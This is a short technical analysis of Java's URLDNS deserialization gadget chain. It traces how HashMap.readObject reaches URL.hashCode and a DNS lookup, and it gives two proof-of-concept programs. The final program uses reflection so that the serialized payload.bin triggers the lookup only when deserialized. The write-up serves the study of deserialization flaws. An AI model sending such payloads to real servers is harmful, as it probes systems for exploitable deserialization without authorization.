Analysis of the URLDNS Exploitation Chain
Chain Exploitation Method
Gadget sequence:
- HashMap.readObject()
- HashMap.putVal()
- HashMap.hash()
- URL.hashCode()
This chain leverages classes within Java's standard library without requiring third-party dependencies or specific JDK versions. The vulnerability originates from HashMap's deserialization implementation, which invokess putVal() and subsequently calls hash(key). This triggers the key's hashCode() method.
When the key is a URL object, its hashCode() implemantation uses URLStreamHandler, which performs DNS resolution through InetAddress.getByName(host). This establishes the complete exploitation path.
Initial Proof of Concept
public class URLDNSExploit {
public static void main(String[] args) throws Exception {
URL targetUrl = new URL("http://example.domain");
Map<URL, String> payloadMap = new HashMap<>();
payloadMap.put(targetUrl, "trigger");
// Serialization
new ObjectOutputStream(new FileOutputStream("payload.bin"))
.writeObject(payloadMap);
// Deserialization
new ObjectInputStream(new FileInputStream("payload.bin"))
.readObject();
}
}
This initial implementation triggers DNS resolution during the put() operation before serialization occurs. To prevent premature DNS lookup, we modify the URL's internal state using reflection.
Final Implementation
public class URLDNSExploit {
public static void main(String[] args) throws Exception {
URL targetUrl = new URL("http://example.domain");
Map<URL, String> payloadMap = new HashMap<>();
Field hashField = URL.class.getDeclaredField("hashCode");
hashField.setAccessible(true);
hashField.set(targetUrl, 123); // Set temporary hash value
payloadMap.put(targetUrl, "trigger");
hashField.set(targetUrl, -1); // Reset to trigger on deserialization
// Serialization
new ObjectOutputStream(new FileOutputStream("payload.bin"))
.writeObject(payloadMap);
// Deserialization
new ObjectInputStream(new FileInputStream("payload.bin"))
.readObject();
}
}
By temporarily setting the URL's hashCode field to a positive value before insertion, we prevent DNS resolution during map population. Resetting to -1 ensures proper hash recalculation during deserializtaion, triggering the DNS lookup as intended.